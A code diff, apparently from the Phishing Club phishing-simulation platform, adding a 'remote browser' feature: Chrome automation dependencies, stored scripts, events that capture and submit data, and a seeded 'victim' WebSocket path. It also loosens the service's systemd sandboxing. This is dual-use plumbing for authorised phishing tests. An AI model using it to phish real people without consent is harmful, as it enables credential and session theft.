go.uber.org/multierr v1.11.0 // indirect
|
||||
|
||||
@@ -45,6 +45,10 @@ github.com/cloudwego/iasm v0.2.0/go.mod h1:8rXZaNYT2n95jn+zTI1sDr+IgcD2GVs0nlbbQ
|
||||
github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
|
||||
github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c=
|
||||
github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
|
||||
github.com/dlclark/regexp2 v1.11.4 h1:rPYF9/LECdNymJufQKmri9gV604RvvABwgOA8un7yAo=
|
||||
github.com/dlclark/regexp2 v1.11.4/go.mod h1:DHkYz0B9wPfa6wondMfaivmHpzrQ3v9q8cnmRbL6yW8=
|
||||
github.com/dop251/goja v0.0.0-20260226184354-913bd86fb70c h1:hIlkLbQ+tYoUqlG42LnxwGcohL5jaGqD8mGeJWavm8A=
|
||||
github.com/dop251/goja v0.0.0-20260226184354-913bd86fb70c/go.mod h1:MxLav0peU43GgvwVgNbLAj1s/bSGboKkhuULvq/7hx4=
|
||||
github.com/enetx/g v1.0.194 h1:lI/eicj+Qdcdt1xBUhaHv3M/ujN4v+WXYZDZYD1Dxuo=
|
||||
github.com/enetx/g v1.0.194/go.mod h1:B3YULbT/hAx9+p2Q8GHrsTmjjM19iz1Rcdz3Y9+kSg4=
|
||||
github.com/enetx/http v1.0.19 h1:4W97CyqKrPiR16wEm6UOesqNrt8l4RsVMjZHz6+I84E=
|
||||
@@ -95,6 +99,10 @@ github.com/go-playground/universal-translator v0.18.1 h1:Bcnm0ZwsGyWbCzImXv+pAJn
|
||||
github.com/go-playground/universal-translator v0.18.1/go.mod h1:xekY+UJKNuX9WP91TpwSH2VMlDf28Uj24BCp08ZFTUY=
|
||||
github.com/go-playground/validator/v10 v10.22.0 h1:k6HsTZ0sTnROkhS//R0O+55JgM8C4Bx7ia+JlgcnOao=
|
||||
github.com/go-playground/validator/v10 v10.22.0/go.mod h1:dbuPbCMFw/DrkbEynArYaCwl3amGuJotoKCe95atGMM=
|
||||
github.com/go-rod/rod v0.116.2 h1:A5t2Ky2A+5eD/ZJQr1EfsQSe5rms5Xof/qj296e+ZqA=
|
||||
github.com/go-rod/rod v0.116.2/go.mod h1:H+CMO9SCNc2TJ2WfrG+pKhITz57uGNYU43qYHh438Mg=
|
||||
github.com/go-sourcemap/sourcemap v2.1.3+incompatible h1:W1iEw64niKVGogNgBN3ePyLFfuisuzeidWPMPWmECqU=
|
||||
github.com/go-sourcemap/sourcemap v2.1.3+incompatible/go.mod h1:F8jJfvm2KbVjc5NqelyYJmf/v5J0dwNLS2mL4sNA1Jg=
|
||||
github.com/go-task/slim-sprig/v3 v3.0.0 h1:sUs3vkvUymDpBKi3qH1YSqBQk9+9D/8M2mN1vB6EwHI=
|
||||
github.com/go-task/slim-sprig/v3 v3.0.0/go.mod h1:W848ghGpv3Qj3dhTPRyJypKRiqCdHZiAzKg9hl15HA8=
|
||||
github.com/goccy/go-json v0.10.3 h1:KZ5WoDbxAIgm2HNbYckL0se1fHD6rz5j4ywS6ebzDqA=
|
||||
@@ -112,6 +120,8 @@ github.com/google/pprof v0.0.0-20250403155104-27863c87afa6 h1:BHT72Gu3keYf3ZEu2J
|
||||
github.com/google/pprof v0.0.0-20250403155104-27863c87afa6/go.mod h1:boTsfXsheKC2y+lKOCMpSfarhxDeIzfZG1jqGcPl3cA=
|
||||
github.com/google/uuid v1.3.1 h1:KjJaJ9iWZ3jOFZIf1Lqf4laDRCasjl0BCmnEGxkdLb4=
|
||||
github.com/google/uuid v1.3.1/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo=
|
||||
github.com/gorilla/websocket v1.5.3 h1:saDtZ6Pbx/0u+bgYQ3q96pZgCzfhKXGPqt7kZ72aNNg=
|
||||
github.com/gorilla/websocket v1.5.3/go.mod h1:YR8l580nyteQvAITg2hZ9XVh4b55+EU/adAjf1fMHhE=
|
||||
github.com/jinzhu/inflection v1.0.0 h1:K317FqzuhWc8YvSVlFMCCUb36O/S9MCKRDI7QkRKD/E=
|
||||
github.com/jinzhu/inflection v1.0.0/go.mod h1:h+uFLlag+Qp1Va5pdKtLDYj+kHp5pxUVkryuEj+Srlc=
|
||||
github.com/jinzhu/now v1.1.5 h1:/o9tlHleP7gOFmsnYNz3RGnqzefHA47wQpKrrdTIwXQ=
|
||||
@@ -227,6 +237,20 @@ github.com/yeqown/go-qrcode/v2 v2.2.4 h1:cXdYlrhzHzVAnJHiwr/T6lAUmS9MtEStjEZBjAr
|
||||
github.com/yeqown/go-qrcode/v2 v2.2.4/go.mod h1:uHpt9CM0V1HeXLz+Wg5MN50/sI/fQhfkZlOM+cOTHxw=
|
||||
github.com/yeqown/reedsolomon v1.0.0 h1:x1h/Ej/uJnNu8jaX7GLHBWmZKCAWjEJTetkqaabr4B0=
|
||||
github.com/yeqown/reedsolomon v1.0.0/go.mod h1:P76zpcn2TCuL0ul1Fso373qHRc69LKwAw/Iy6g1WiiM=
|
||||
github.com/ysmood/fetchup v0.2.3 h1:ulX+SonA0Vma5zUFXtv52Kzip/xe7aj4vqT5AJwQ+ZQ=
|
||||
github.com/ysmood/fetchup v0.2.3/go.mod h1:xhibcRKziSvol0H1/pj33dnKrYyI2ebIvz5cOOkYGns=
|
||||
github.com/ysmood/goob v0.4.0 h1:HsxXhyLBeGzWXnqVKtmT9qM7EuVs/XOgkX7T6r1o1AQ=
|
||||
github.com/ysmood/goob v0.4.0/go.mod h1:u6yx7ZhS4Exf2MwciFr6nIM8knHQIE22lFpWHnfql18=
|
||||
github.com/ysmood/gop v0.2.0 h1:+tFrG0TWPxT6p9ZaZs+VY+opCvHU8/3Fk6BaNv6kqKg=
|
||||
github.com/ysmood/gop v0.2.0/go.mod h1:rr5z2z27oGEbyB787hpEcx4ab8cCiPnKxn0SUHt6xzk=
|
||||
github.com/ysmood/got v0.40.0 h1:ZQk1B55zIvS7zflRrkGfPDrPG3d7+JOza1ZkNxcc74Q=
|
||||
github.com/ysmood/got v0.40.0/go.mod h1:W7DdpuX6skL3NszLmAsC5hT7JAhuLZhByVzHTq874Qg=
|
||||
github.com/ysmood/gotrace v0.6.0 h1:SyI1d4jclswLhg7SWTL6os3L1WOKeNn/ZtzVQF8QmdY=
|
||||
github.com/ysmood/gotrace v0.6.0/go.mod h1:TzhIG7nHDry5//eYZDYcTzuJLYQIkykJzCRIo4/dzQM=
|
||||
github.com/ysmood/gson v0.7.3 h1:QFkWbTH8MxyUTKPkVWAENJhxqdBa4lYTQWqZCiLG6kE=
|
||||
github.com/ysmood/gson v0.7.3/go.mod h1:3Kzs5zDl21g5F/BlLTNcuAGAYLKt2lV5G8D1zF3RNmg=
|
||||
github.com/ysmood/leakless v0.9.0 h1:qxCG5VirSBvmi3uynXFkcnLMzkphdh3xx5FtrORwDCU=
|
||||
github.com/ysmood/leakless v0.9.0/go.mod h1:R8iAXPRaG97QJwqxs74RdwzcRHT1SWCGTNqY8q0JvMQ=
|
||||
github.com/yuin/goldmark v1.4.13/go.mod h1:6yULJ656Px+3vBD8DxQVa3kxgyrAnzto9xy5taEt/CY=
|
||||
github.com/zeebo/assert v1.1.0 h1:hU1L1vLTHsnO8x8c9KAR5GmM5QscxHg5RNU5z5qbUWY=
|
||||
github.com/zeebo/assert v1.1.0/go.mod h1:Pq9JiuJQpG8JLJdtkwrJESF0Foym2/D9XMU5ciN/wJ0=
|
||||
@@ -308,6 +332,8 @@ google.golang.org/protobuf v1.36.7/go.mod h1:jduwjTPXsFjZGTmRluh+L6NjiWu7pchiJ2/
|
||||
gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=
|
||||
gopkg.in/check.v1 v1.0.0-20180628173108-788fd7840127 h1:qIbj1fsPNlZgppZ+VLlY7N33q108Sa+fhmuc+sWQYwY=
|
||||
gopkg.in/check.v1 v1.0.0-20180628173108-788fd7840127/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=
|
||||
gopkg.in/yaml.v2 v2.4.0 h1:D8xgwECY7CYvx+Y2n4sBz93Jn9JRvxdiyyo8CTfuKaY=
|
||||
gopkg.in/yaml.v2 v2.4.0/go.mod h1:RDklbk79AGWmwhnvt/jBztapEOGDOx6ZbXqjP6csGnQ=
|
||||
gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
|
||||
gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA=
|
||||
gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
|
||||
|
||||
@@ -374,6 +374,8 @@ func createUserAndGroup() error {
|
||||
"-r",
|
||||
"-g", serviceGroup,
|
||||
"-s", "/bin/false",
|
||||
"-m",
|
||||
"-d", "/var/lib/"+serviceUser,
|
||||
serviceUser,
|
||||
)
|
||||
if err := cmd.Run(); err != nil {
|
||||
|
||||
@@ -240,7 +240,8 @@ func (m ConfigModel) renderAdvancedSections(b *strings.Builder) {
|
||||
{"Database Configuration", 6, 8},
|
||||
{"TLS Configuration", 8, 10},
|
||||
{"Logging Configuration", 10, 12},
|
||||
{"Security Configuration", 12, len(m.inputs)},
|
||||
{"Security Configuration", 12, 15},
|
||||
{"Remote Browser", 15, len(m.inputs)},
|
||||
}
|
||||
|
||||
currentSection := -1
|
||||
@@ -324,6 +325,10 @@ func (m *ConfigModel) createAdvancedInputs() []InputWithHelp {
|
||||
{"Admin allowed IPs", "", "192.168.1.0/24,10.0.0.1", "comma-separated list of IP/CIDR ranges allowed to access admin (empty for all)"},
|
||||
{"Trusted proxies", "", "192.168.1.1,10.0.0.1", "comma-separated list of trusted proxy IPs/CIDR ranges"},
|
||||
{"Trusted IP header", config.DefaultTrustedIPHeader, "X-Real-IP", "header name to check for real client IP from trusted proxies"},
|
||||
|
||||
// remote browser configuration
|
||||
{"Enable remote browser", "false", "true/false", "enable the remote browser feature - only enable when all operators are fully trusted"},
|
||||
{"Chrome binary path", "", "/usr/bin/chromium-browser", "path to Chrome/Chromium binary (leave empty to use auto-downloaded Chromium)"},
|
||||
}
|
||||
|
||||
for i, p := range prompts {
|
||||
@@ -458,6 +463,13 @@ func (m *ConfigModel) applyAdvancedConfig() error {
|
||||
m.config.IPSecurity.TrustedProxies = trustedProxiesList
|
||||
m.config.IPSecurity.TrustedIPHeader = trustedIPHeader
|
||||
|
||||
// remote browser configuration
|
||||
rbEnabled := strings.ToLower(getValueOrDefault(m.inputs[15].Value(), "false")) == "true"
|
||||
m.config.SetRemoteBrowserEnabled(rbEnabled)
|
||||
if execPath := m.inputs[16].Value(); execPath != "" {
|
||||
m.config.SetRemoteBrowserExecPath(execPath)
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
|
||||
@@ -14,11 +14,9 @@ PrivateTmp=true
|
||||
NoNewPrivileges=true
|
||||
ProtectSystem=full
|
||||
ProtectHome=true
|
||||
RestrictAddressFamilies=AF_INET AF_INET6 AF_UNIX
|
||||
RestrictNamespaces=true
|
||||
RestrictAddressFamilies=AF_INET AF_INET6 AF_UNIX AF_NETLINK
|
||||
RestrictRealtime=true
|
||||
RestrictSUIDSGID=true
|
||||
MemoryDenyWriteExecute=true
|
||||
Restart=always
|
||||
RestartSec=5s
|
||||
StartLimitBurst=3
|
||||
|
||||
@@ -322,6 +322,13 @@ func main() {
|
||||
)
|
||||
}
|
||||
adminRouter.Use(middlewares.IPLimiter)
|
||||
|
||||
// read the seeded victim WS path for the remote browser endpoint
|
||||
rbWSPath := "rbws" // fallback - real value is seeded at first startup
|
||||
if opt, err := repositories.Option.GetByKey(context.Background(), data.OptionKeyRemoteBrowserWSPath); err == nil {
|
||||
rbWSPath = opt.Value.String()
|
||||
}
|
||||
|
||||
adminServer := app.NewAdministrationServer(
|
||||
adminRouter,
|
||||
controllers,
|
||||
@@ -363,6 +370,7 @@ func main() {
|
||||
repositories,
|
||||
logger,
|
||||
certMagicConfig,
|
||||
rbWSPath,
|
||||
)
|
||||
|
||||
var r *gin.Engine
|
||||
|
||||
@@ -0,0 +1,107 @@
|
||||
package model
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"time"
|
||||
|
||||
"github.com/google/uuid"
|
||||
"github.com/oapi-codegen/nullable"
|
||||
"github.com/phishingclub/phishingclub/validate"
|
||||
"github.com/phishingclub/phishingclub/vo"
|
||||
)
|
||||
|
||||
// RemoteBrowserConfig is the API-level config for a remote browser session.
|
||||
type RemoteBrowserConfig struct {
|
||||
Mode string `json:"mode"` // "local" | "remote"
|
||||
Remote string `json:"remote"` // DevTools WS URL (mode=remote only)
|
||||
Proxy string `json:"proxy"` // socks5:// or http://
|
||||
Headless bool `json:"headless"` // run Chrome headless (mode=local)
|
||||
Timeout int `json:"timeout"` // ms; 0 = default (60000)
|
||||
Lang string `json:"lang"` // BCP 47 locale e.g. "da-DK" (mode=local)
|
||||
ExtraFlags []string `json:"extraFlags"` // additional Chrome CLI flags (mode=local)
|
||||
}
|
||||
|
||||
// RemoteBrowser is a saved remote browser script with its connection config.
|
||||
type RemoteBrowser struct {
|
||||
ID nullable.Nullable[uuid.UUID] `json:"id"`
|
||||
CreatedAt *time.Time `json:"createdAt"`
|
||||
UpdatedAt *time.Time `json:"updatedAt"`
|
||||
CompanyID nullable.Nullable[uuid.UUID] `json:"companyID"`
|
||||
Name nullable.Nullable[vo.String64] `json:"name"`
|
||||
Description nullable.Nullable[vo.OptionalString1024] `json:"description"`
|
||||
Script nullable.Nullable[vo.String1MB] `json:"script"`
|
||||
Config nullable.Nullable[RemoteBrowserConfig] `json:"config"`
|
||||
|
||||
Company *Company `json:"-"`
|
||||
}
|
||||
|
||||
// Validate checks required fields and config values.
|
||||
func (m *RemoteBrowser) Validate() error {
|
||||
if err := validate.NullableFieldRequired("name", m.Name); err != nil {
|
||||
return err
|
||||
}
|
||||
if err := validate.NullableFieldRequired("script", m.Script); err != nil {
|
||||
return err
|
||||
}
|
||||
if m.Config.IsSpecified() {
|
||||
if cfg, err := m.Config.Get(); err == nil {
|
||||
if cfg.Mode != "" && cfg.Mode != "local" && cfg.Mode != "remote" {
|
||||
return fmt.Errorf("config.mode must be 'local' or 'remote'")
|
||||
}
|
||||
if cfg.Mode == "remote" && cfg.Remote == "" {
|
||||
return fmt.Errorf("config.remote is required when mode is 'remote'")
|
||||
}
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// ToDBMap returns the fields that should be persisted.
|
||||
func (m *RemoteBrowser) ToDBMap() map[string]any {
|
||||
dbMap := map[string]any{}
|
||||
if m.Name.IsSpecified() {
|
||||
dbMap["name"] = nil
|
||||
if name, err := m.Name.Get(); err == nil {
|
||||
dbMap["name"] = name.String()
|
||||
}
|
||||
}
|
||||
if m.Description.IsSpecified() {
|
||||
dbMap["description"] = nil
|
||||
if description, err := m.Description.Get(); err == nil {
|
||||
dbMap["description"] = description.String()
|
||||
}
|
||||
}
|
||||
if m.Script.IsSpecified() {
|
||||
dbMap["script"] = nil
|
||||
if script, err := m.Script.Get(); err == nil {
|
||||
dbMap["script"] = script.String()
|
||||
}
|
||||
}
|
||||
if m.Config.IsSpecified() {
|
||||
dbMap["config"] = ""
|
||||
if cfg, err := m.Config.Get(); err == nil {
|
||||
if b, err := json.Marshal(cfg); err == nil {
|
||||
dbMap["config"] = string(b)
|
||||
}
|
||||
}
|
||||
}
|
||||
if m.CompanyID.IsSpecified() {
|
||||
if m.CompanyID.IsNull() {
|
||||
dbMap["company_id"] = nil
|
||||
} else {
|
||||
dbMap["company_id"] = m.CompanyID.MustGet()
|
||||
}
|
||||
}
|
||||
return dbMap
|
||||
}
|
||||
|
||||
// RemoteBrowserOverview is a lightweight listing model.
|
||||
type RemoteBrowserOverview struct {
|
||||
ID uuid.UUID `json:"id,omitempty"`
|
||||
CreatedAt *time.Time `json:"createdAt"`
|
||||
UpdatedAt *time.Time `json:"updatedAt"`
|
||||
Name string `json:"name"`
|
||||
Description string `json:"description"`
|
||||
CompanyID *uuid.UUID `json:"companyID"`
|
||||
}
|
||||
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,116 @@
|
||||
package remotebrowser
|
||||
|
||||
import (
|
||||
"context"
|
||||
"encoding/base64"
|
||||
"time"
|
||||
)
|
||||
|
||||
// RunEvent is an event emitted during script execution.
|
||||
type RunEvent struct {
|
||||
Type string `json:"type"` // "event", "log", "error", "done", "capture", "screenshot", "info", "submit"
|
||||
Key string `json:"key,omitempty"` // for type=event/screenshot (label)
|
||||
Value any `json:"value,omitempty"` // for type=event/capture/screenshot/submit (base64 data URI or arbitrary data)
|
||||
URL string `json:"url,omitempty"` // for type=screenshot (page URL at capture time)
|
||||
Message string `json:"message,omitempty"` // for type=log/error/info
|
||||
Data any `json:"data,omitempty"` // for type=log: optional second arg from log(msg, data)
|
||||
Time string `json:"time"`
|
||||
}
|
||||
|
||||
// channelEmitter sends events to a buffered channel. All methods are safe to
|
||||
// call from multiple goroutines; channel sends are already goroutine-safe.
|
||||
type channelEmitter struct {
|
||||
events chan RunEvent
|
||||
}
|
||||
|
||||
func newChannelEmitter(events chan RunEvent) *channelEmitter {
|
||||
return &channelEmitter{events: events}
|
||||
}
|
||||
|
||||
func (e *channelEmitter) emit(key string, value any) {
|
||||
e.send(RunEvent{
|
||||
Type: "event",
|
||||
Key: key,
|
||||
Value: value,
|
||||
Time: time.Now().UTC().Format(time.RFC3339Nano),
|
||||
})
|
||||
}
|
||||
|
||||
func (e *channelEmitter) log(msg string, data ...any) {
|
||||
evt := RunEvent{
|
||||
Type: "log",
|
||||
Message: msg,
|
||||
Time: time.Now().UTC().Format(time.RFC3339Nano),
|
||||
}
|
||||
if len(data) > 0 {
|
||||
evt.Data = data[0]
|
||||
}
|
||||
e.send(evt)
|
||||
}
|
||||
|
||||
func (e *channelEmitter) errorf(msg string) {
|
||||
e.send(RunEvent{
|
||||
Type: "error",
|
||||
Message: msg,
|
||||
Time: time.Now().UTC().Format(time.RFC3339Nano),
|
||||
})
|
||||
}
|
||||
|
||||
func (e *channelEmitter) screenshot(label string, buf []byte, pageURL string) {
|
||||
e.send(RunEvent{
|
||||
Type: "screenshot",
|
||||
Key: label,
|
||||
Value: "data:image/png;base64," + base64.StdEncoding.EncodeToString(buf),
|
||||
URL: pageURL,
|
||||
Time: time.Now().UTC().Format(time.RFC3339Nano),
|
||||
})
|
||||
}
|
||||
|
||||
func (e *channelEmitter) capture(data interface{}) {
|
||||
e.send(RunEvent{
|
||||
Type: "capture",
|
||||
Value: data,
|
||||
Time: time.Now().UTC().Format(time.RFC3339Nano),
|
||||
})
|
||||
}
|
||||
|
||||
func (e *channelEmitter) info(msg string) {
|
||||
e.send(RunEvent{
|
||||
Type: "info",
|
||||
Message: msg,
|
||||
Time: time.Now().UTC().Format(time.RFC3339Nano),
|
||||
})
|
||||
}
|
||||
|
||||
func (e *channelEmitter) submitData(data interface{}) {
|
||||
e.send(RunEvent{
|
||||
Type: "submit",
|
||||
Value: data,
|
||||
Time: time.Now().UTC().Format(time.RFC3339Nano),
|
||||
})
|
||||
}
|
||||
|
||||
func (e *channelEmitter) done() {
|
||||
e.send(RunEvent{
|
||||
Type: "done",
|
||||
Time: time.Now().UTC().Format(time.RFC3339Nano),
|
||||
})
|
||||
}
|
||||
|
||||
// send delivers evt to the channel, dropping silently if the buffer is full.
|
||||
func (e *channelEmitter) send(evt RunEvent) {
|
||||
select {
|
||||
case e.events <- evt:
|
||||
default:
|
||||
}
|
||||
}
|
||||
|
||||
// sendMust delivers evt to the channel, blocking until space is available or
|
||||
// ctx is cancelled. Use only for events where a silent drop would corrupt
|
||||
// session state (e.g. keep_alive).
|
||||
func (e *channelEmitter) sendMust(ctx context.Context, evt RunEvent) {
|
||||
select {
|
||||
case e.events <- evt:
|
||||
case <-ctx.Done():
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1 @@
|
||||
package remotebrowser
|
||||
File diff suppressed because it is too large
Load Diff
@@ -1413,7 +1413,7 @@ func (r *Campaign) SaveEvent(
|
||||
"ip_address": campaignEvent.IP.String(),
|
||||
"user_agent": campaignEvent.UserAgent.String(),
|
||||
"data": campaignEvent.Data.String(),
|
||||
"metadata": campaignEvent.Metadata.String(),
|
||||
"metadata": func() string { if campaignEvent.Metadata == nil { return "" }; return campaignEvent.Metadata.String() }(),
|
||||
}
|
||||
if campaignEvent.RecipientID != nil {
|
||||
row["recipient_id"] = campaignEvent.RecipientID.String()
|
||||
|
||||
@@ -0,0 +1,219 @@
|
||||
package repository
|
||||
|
||||
import (
|
||||
"context"
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
|
||||
"github.com/google/uuid"
|
||||
"github.com/oapi-codegen/nullable"
|
||||
"github.com/phishingclub/phishingclub/database"
|
||||
"github.com/phishingclub/phishingclub/errs"
|
||||
"github.com/phishingclub/phishingclub/model"
|
||||
"github.com/phishingclub/phishingclub/vo"
|
||||
"gorm.io/gorm"
|
||||
)
|
||||
|
||||
var remoteBrowserAllowedColumns = assignTableToColumns(database.REMOTE_BROWSER_TABLE, []string{
|
||||
"created_at",
|
||||
"updated_at",
|
||||
"name",
|
||||
})
|
||||
|
||||
// RemoteBrowserOption controls eager loading and query params.
|
||||
type RemoteBrowserOption struct {
|
||||
*vo.QueryArgs
|
||||
WithCompany bool
|
||||
}
|
||||
|
||||
// RemoteBrowser is the remote browser repository.
|
||||
type RemoteBrowser struct {
|
||||
DB *gorm.DB
|
||||
}
|
||||
|
||||
func (m *RemoteBrowser) load(options *RemoteBrowserOption, db *gorm.DB) *gorm.DB {
|
||||
if options.WithCompany {
|
||||
db = db.Joins("Company")
|
||||
}
|
||||
return db
|
||||
}
|
||||
|
||||
// Insert creates a new remote browser record.
|
||||
func (m *RemoteBrowser) Insert(ctx context.Context, rb *model.RemoteBrowser) (*uuid.UUID, error) {
|
||||
id := uuid.New()
|
||||
row := rb.ToDBMap()
|
||||
row["id"] = id
|
||||
AddTimestamps(row)
|
||||
|
||||
res := m.DB.Model(&database.RemoteBrowser{}).Create(row)
|
||||
if res.Error != nil {
|
||||
return nil, res.Error
|
||||
}
|
||||
return &id, nil
|
||||
}
|
||||
|
||||
// GetAll returns a paginated list of remote browsers for the given company.
|
||||
func (m *RemoteBrowser) GetAll(
|
||||
ctx context.Context,
|
||||
companyID *uuid.UUID,
|
||||
options *RemoteBrowserOption,
|
||||
) (*model.Result[model.RemoteBrowser], error) {
|
||||
result := model.NewEmptyResult[model.RemoteBrowser]()
|
||||
var rows []database.RemoteBrowser
|
||||
|
||||
db := m.load(options, m.DB)
|
||||
db = withCompanyIncludingNullContext(db, companyID, database.REMOTE_BROWSER_TABLE)
|
||||
db, err := useQuery(db, database.REMOTE_BROWSER_TABLE, options.QueryArgs, remoteBrowserAllowedColumns...)
|
||||
if err != nil {
|
||||
return result, errs.Wrap(err)
|
||||
}
|
||||
if res := db.Find(&rows); res.Error != nil {
|
||||
return result, res.Error
|
||||
}
|
||||
|
||||
hasNextPage, err := useHasNextPage(db, database.REMOTE_BROWSER_TABLE, options.QueryArgs, remoteBrowserAllowedColumns...)
|
||||
if err != nil {
|
||||
return result, errs.Wrap(err)
|
||||
}
|
||||
result.HasNextPage = hasNextPage
|
||||
|
||||
for _, row := range rows {
|
||||
rb, err := ToRemoteBrowser(&row)
|
||||
if err != nil {
|
||||
return result, errs.Wrap(err)
|
||||
}
|
||||
result.Rows = append(result.Rows, rb)
|
||||
}
|
||||
return result, nil
|
||||
}
|
||||
|
||||
// GetAllSubset returns lightweight overview rows.
|
||||
func (m *RemoteBrowser) GetAllSubset(
|
||||
ctx context.Context,
|
||||
companyID *uuid.UUID,
|
||||
options *RemoteBrowserOption,
|
||||
) (*model.Result[model.RemoteBrowserOverview], error) {
|
||||
result := model.NewEmptyResult[model.RemoteBrowserOverview]()
|
||||
var rows []database.RemoteBrowser
|
||||
|
||||
db := withCompanyIncludingNullContext(m.DB, companyID, database.REMOTE_BROWSER_TABLE)
|
||||
db, err := useQuery(db, database.REMOTE_BROWSER_TABLE, options.QueryArgs, remoteBrowserAllowedColumns...)
|
||||
if err != nil {
|
||||
return result, errs.Wrap(err)
|
||||
}
|
||||
if res := db.Select("id, created_at, updated_at, name, description, company_id").Find(&rows); res.Error != nil {
|
||||
return result, res.Error
|
||||
}
|
||||
|
||||
hasNextPage, err := useHasNextPage(db, database.REMOTE_BROWSER_TABLE, options.QueryArgs, remoteBrowserAllowedColumns...)
|
||||
if err != nil {
|
||||
return result, errs.Wrap(err)
|
||||
}
|
||||
result.HasNextPage = hasNextPage
|
||||
|
||||
for _, row := range rows {
|
||||
result.Rows = append(result.Rows, &model.RemoteBrowserOverview{
|
||||
ID: *row.ID,
|
||||
CreatedAt: row.CreatedAt,
|
||||
UpdatedAt: row.UpdatedAt,
|
||||
Name: row.Name,
|
||||
Description: row.Description,
|
||||
CompanyID: row.CompanyID,
|
||||
})
|
||||
}
|
||||
return result, nil
|
||||
}
|
||||
|
||||
// GetByID returns a single remote browser by ID.
|
||||
func (m *RemoteBrowser) GetByID(
|
||||
ctx context.Context,
|
||||
id *uuid.UUID,
|
||||
options *RemoteBrowserOption,
|
||||
) (*model.RemoteBrowser, error) {
|
||||
row := database.RemoteBrowser{}
|
||||
db := m.load(options, m.DB)
|
||||
if res := db.Where(TableColumnID(database.REMOTE_BROWSER_TABLE)+" = ?", id).First(&row); res.Error != nil {
|
||||
return nil, res.Error
|
||||
}
|
||||
return ToRemoteBrowser(&row)
|
||||
}
|
||||
|
||||
// GetByNameAndCompanyID returns a remote browser by name (used for uniqueness checks).
|
||||
func (m *RemoteBrowser) GetByNameAndCompanyID(
|
||||
ctx context.Context,
|
||||
name *vo.String64,
|
||||
companyID *uuid.UUID,
|
||||
options *RemoteBrowserOption,
|
||||
) (*model.RemoteBrowser, error) {
|
||||
row := database.RemoteBrowser{}
|
||||
db := m.load(options, m.DB)
|
||||
db = withCompanyIncludingNullContext(db, companyID, database.REMOTE_BROWSER_TABLE)
|
||||
res := db.Where(
|
||||
fmt.Sprintf("%s = ?", TableColumn(database.REMOTE_BROWSER_TABLE, "name")),
|
||||
name.String(),
|
||||
).First(&row)
|
||||
if res.Error != nil {
|
||||
return nil, res.Error
|
||||
}
|
||||
return ToRemoteBrowser(&row)
|
||||
}
|
||||
|
||||
// UpdateByID updates the mutable fields of a remote browser.
|
||||
func (m *RemoteBrowser) UpdateByID(ctx context.Context, id *uuid.UUID, rb *model.RemoteBrowser) error {
|
||||
row := rb.ToDBMap()
|
||||
AddUpdatedAt(row)
|
||||
res := m.DB.Model(&database.RemoteBrowser{}).Where("id = ?", id).Updates(row)
|
||||
if res.Error != nil {
|
||||
return res.Error
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// DeleteByID hard-deletes a remote browser.
|
||||
func (m *RemoteBrowser) DeleteByID(ctx context.Context, id *uuid.UUID) error {
|
||||
if res := m.DB.Delete(&database.RemoteBrowser{}, id); res.Error != nil {
|
||||
return res.Error
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// ToRemoteBrowser maps a database row to the model type.
|
||||
func ToRemoteBrowser(row *database.RemoteBrowser) (*model.RemoteBrowser, error) {
|
||||
id := nullable.NewNullableWithValue(*row.ID)
|
||||
companyID := nullable.NewNullNullable[uuid.UUID]()
|
||||
if row.CompanyID != nil {
|
||||
companyID.Set(*row.CompanyID)
|
||||
}
|
||||
name := nullable.NewNullableWithValue(*vo.NewString64Must(row.Name))
|
||||
|
||||
description, err := vo.NewOptionalString1024(row.Description)
|
||||
if err != nil {
|
||||
return nil, errs.Wrap(err)
|
||||
}
|
||||
descriptionNullable := nullable.NewNullableWithValue(*description)
|
||||
|
||||
script, err := vo.NewString1MB(row.Script)
|
||||
if err != nil {
|
||||
return nil, errs.Wrap(err)
|
||||
}
|
||||
scriptNullable := nullable.NewNullableWithValue(*script)
|
||||
|
||||
var cfg model.RemoteBrowserConfig
|
||||
if row.Config != "" {
|
||||
if err := json.Unmarshal([]byte(row.Config), &cfg); err != nil {
|
||||
return nil, errs.Wrap(fmt.Errorf("invalid stored config: %w", err))
|
||||
}
|
||||
}
|
||||
configNullable := nullable.NewNullableWithValue(cfg)
|
||||
|
||||
return &model.RemoteBrowser{
|
||||
ID: id,
|
||||
CreatedAt: row.CreatedAt,
|
||||
UpdatedAt: row.UpdatedAt,
|
||||
CompanyID: companyID,
|
||||
Name: name,
|
||||
Description: descriptionNullable,
|
||||
Script: scriptNullable,
|
||||
Config: configNullable,
|
||||
}, nil
|
||||
}
|
||||
@@ -58,6 +58,7 @@ func initialInstallAndSeed(
|
||||
&database.OAuthProvider{},
|
||||
&database.OAuthState{},
|
||||
&database.MicrosoftDeviceCode{},
|
||||
&database.RemoteBrowser{},
|
||||
}
|
||||
|
||||
// disable foreign key constraints temporarily for sqlite to allow table recreation
|
||||
@@ -384,6 +385,39 @@ func SeedSettings(
|
||||
}
|
||||
}
|
||||
}
|
||||
{
|
||||
// seed remote browser victim WS path - 12 random lowercase alphanumeric chars
|
||||
id := uuid.New()
|
||||
var c int64
|
||||
res := db.
|
||||
Model(&database.Option{}).
|
||||
